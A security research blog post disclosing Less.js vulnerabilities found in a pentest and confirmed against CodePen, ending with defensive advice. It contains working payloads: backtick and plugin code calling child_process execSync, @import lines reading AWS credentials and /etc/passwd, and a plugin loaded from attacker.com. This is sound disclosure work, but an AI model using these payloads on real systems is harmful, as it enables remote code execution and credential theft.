Hidden Dangers in Less.js: XSS, SSRF, and Remote Code Execution
Less.js is widely used as a CSS preprocessor, but under certain configurations it becomes far more than a styling tool. In this deep-dive, we demonstrate how legacy inline JavaScript execution, unrestricted @import behavior, and plugin support can be chained into XSS, SSRF, local file disclosure, and even full remote code execution (RCE).
Less.js (commonly written as less.js) is a CSS preprocessor that transpiles to valid CSS. It extends standard CSS with variables, mixins, nesting, and other features that help engineering teams manage stylesheets at scale. Despite the rise of alternatives like Sass and utility-first frameworks like Tailwind CSS, Less remains widely used — particularly in Bootstrap-based projects — with nearly 10 million weekly downloads on npm and over 17,000 GitHub stars. The current stable release is version 4.x.
This post documents a series of security vulnerabilities discovered during a client penetration test as part of our Penetration Testing as a Service (PTaaS) engagement, including real-world exploitation against CodePen.io. The vulnerabilities affect all versions of Less.js to varying degrees and are relevant any time user-controlled Less code is accepted and processed — whether on the client side or the server side.
How We Found It
While performing a pentest for a PTaaS client, we encountered an application feature that allowed users to create visualizations with custom styling. One of those visualizations accepted user-supplied Less code, which was then transpiled to CSS on the client side.
That surface deserved a closer look.
Background: Inline JavaScript in Less
Less before version 3.0.0 allowed JavaScript to be executed inline using the backtick operator. The following is valid Less code in those older versions:
@bodyColor: `red`;
body {
color: @bodyColor;
}Which outputs:
body {
color: red;
}This behavior was documented as far back as 2014 under "JavaScript Evaluation." RedTeam Pentesting flagged it as a security risk in a 2016 advisory, warning that it could lead to Remote Code Execution (RCE). Their proof of concept:
$ cat cmd.less
@cmd: `global.process.mainModule.require("child_process").execSync("id")`;
.redteam { cmd: "@{cmd}" }As a result, Less 3.0.0 and later disable inline JavaScript by default. It can be re-enabled via the {javascriptEnabled: true} option, which should be treated as a high-risk configuration change.
In the client engagement described above, the application was running a pre-3.0.0 version of Less and transpiling on the client side — meaning inline JavaScript execution was on by default. This produced a DOM-based stored cross-site scripting (XSS) vulnerability with a payload like:
body {
color: `alert('xss')`;
}That was a valuable find, but it prompted us to dig further into Less's feature set for additional attack surface.
The Bugs
1. Import (Inline) Syntax: Local File Disclosure and SSRF
Less.js supports enhanced import options, including an inline mode that imports the content of a file or URL verbatim, without interpreting it as Less. This is intended for importing third-party CSS that might not be valid Less.
The problem is that the Less processor accepts both local file paths and arbitrary URLs in @import statements without restriction. When Less code is transpiled on the server side, this can be weaponized for local file disclosure or Server-Side Request Forgery (SSRF).
// File: bad.less
@import (inline) "../../.aws/credentials";Running lessc bad.less outputs the contents of the referenced file directly — including AWS credentials, secrets, or any other file readable by the process.
// File: bad.less
@import (inline) "http://localhost/";Running lessc bad.less causes the server to issue an outbound HTTP request to the specified URL and return the response body. This can be chained with instance metadata service (IMDS) endpoints or internal services to exfiltrate credentials and configuration.
2. The Plugin System: XSS and RCE
Less.js supports plugins that can be included directly in Less code via the @plugin directive. Plugins are written in JavaScript and execute when the Less code is processed. Critically, plugins can be loaded from remote URLs, meaning an attacker only needs to control the Less input to execute arbitrary JavaScript — either in the browser (XSS) or on the server (RCE).
This affects all versions of Less that support the @plugin syntax.
@plugin "plugin.js";
// Or from a remote host:
@plugin "https://attacker.com/malicious-plugin.js";XSS via Plugin (Less v2)
// plugin-2.7.js
window.alert('xss')
functions.add('cmd', function(val) {
return val;
});XSS via Plugin (Less v3+)
// plugin-3.11.js
module.exports = {
install: function(less, pluginManager, functions) {
functions.add('ident', function(val) {
return val;
});
}
};When processed on the server side, the severity escalates significantly to full RCE.
Server-Side RCE via Plugin (v2.7.3)
functions.add('cmd', function(val) {
return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});With the corresponding Less code:
@plugin "plugin.js";
body {
color: cmd('whoami');
}Server-Side RCE via Plugin (v3.13.1 and v4.x)
registerPlugin({
install: function(less, pluginManager, functions) {
functions.add('cmd', function(val) {
return global.process.mainModule.require('child_process').execSync(val.value).toString();
});
}
})The malicious Less invocation is identical to the v2 example above. Versions 4.x remain vulnerable to this attack vector.
Real-World Impact: CodePen.io
CodePen.io is a widely used platform for building and sharing front-end code snippets. It supports Less.js as one of its CSS preprocessor options and accepts community-reported security issues.
We tested our proofs of concept against CodePen and confirmed both attack vectors. Using the @import (inline) bug, we were able to read /etc/passwd and environment variables from their AWS Lambda execution environment. The output was rendered directly into the page HTML:
@import (inline) "/etc/passwd";Which returned the contents of the system's passwd file — including EC2 default users and sandbox users — embedded in a <style> tag in the page source.
Using the plugin-based RCE technique, we were able to leak AWS secret keys and execute arbitrary commands inside their Lambda functions.
We responsibly disclosed both issues to CodePen. They have since been patched.

What Engineering and Security Leaders Should Do
If your platform or product accepts user-supplied Less code for processing, you face meaningful security risk. The attack surface is broad:
Audit where Less is transpiled. Server-side transpilation of untrusted Less input is the highest-risk scenario and can result in full RCE and credential theft. Client-side transpilation still enables XSS.
Disable the plugin system for untrusted input. There is no legitimate reason to allow remote plugin loading from user-supplied Less code. This feature should be blocked at the input validation or compiler configuration layer.
Restrict @import to known paths. If your use case requires @import, implement an allowlist of permitted paths and deny all URL-based imports. This eliminates the SSRF and local file disclosure vectors.
Pin Less to a modern, maintained version. The current stable release is Less 4.x. If you are running any pre-3.0.0 version, inline JavaScript is enabled by default and should be treated as a critical vulnerability in your environment.
Do not pass {javascriptEnabled: true} to untrusted input. Even on Less 3.x and 4.x, this option re-enables the inline JavaScript backtick behavior that makes RCE trivial.
Apply CSP headers. A strict Content Security Policy will limit the damage from any residual client-side XSS by preventing exfiltration to attacker-controlled origins.
References
- Less.js Documentation (JavaScript Evaluation, archived 2014)
- RedTeam Pentesting Advisory: Less.js Compilation of Untrusted LESS Files May Lead to Code Execution
- Less.js Features: Import Directives
- Less.js Features: Plugin Directives
- OWASP: Cross-Site Scripting (XSS)
- OWASP: Server-Side Request Forgery (SSRF)
.avif)




